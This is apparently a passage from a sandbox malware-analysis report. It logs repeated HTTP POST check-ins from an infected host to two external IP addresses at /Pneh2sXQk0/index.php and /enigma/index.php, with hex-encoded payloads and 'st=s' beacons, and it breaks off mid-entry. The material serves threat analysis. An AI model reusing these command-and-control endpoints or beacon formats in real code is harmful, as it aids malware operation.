Apr 19, 2024 03:36:44.315207005 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:36:44.560560942 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1475	192.168.2.5	51331	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:44.885476112 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:45.131997108 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1476	192.168.2.5	51332	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:44.909117937 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:36:45.161901951 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1477	192.168.2.5	51333	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:45.386396885 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:36:45.637376070 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1478	192.168.2.5	51334	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:45.492233992 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:45.735397100 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1479	192.168.2.5	51335	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:45.962289095 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:46.208838940 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1480	192.168.2.5	51336	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:45.989609957 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:36:46.239198923 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1481	192.168.2.5	51337	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:46.461107969 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:36:46.711839914 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1482	192.168.2.5	51338	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:46.573121071 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:46.820507050 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1483	192.168.2.5	51339	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:47.042798996 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:47.292421103 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1484	192.168.2.5	51340	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:47.074836969 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:36:47.329559088 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1485	192.168.2.5	51341	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:47.541368961 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:36:47.789307117 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1486	192.168.2.5	51342	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:47.664446115 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:47.911456108 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1487	192.168.2.5	51343	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:48.118308067 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:48.366550922 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1488	192.168.2.5	51344	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:48.159632921 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:36:48.407752991 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1489	192.168.2.5	51345	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:48.618432999 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:36:48.868678093 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1490	192.168.2.5	51346	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:48.742523909 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:48.988013029 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1491	192.168.2.5	51347	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:49.197108030 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:49.444839001 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1492	192.168.2.5	51348	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:49.237808943 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:36:49.487272024 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1493	192.168.2.5	51349	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:49.695616007 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:36:49.947695971 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1494	192.168.2.5	51350	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:49.822570086 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:50.071904898 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1495	192.168.2.5	51351	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:50.279078007 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:50.530580044 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1496	192.168.2.5	51352	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:50.331437111 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:36:50.588300943 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1497	192.168.2.5	51353	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:50.781608105 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:36:51.032155991 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1498	192.168.2.5	51354	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
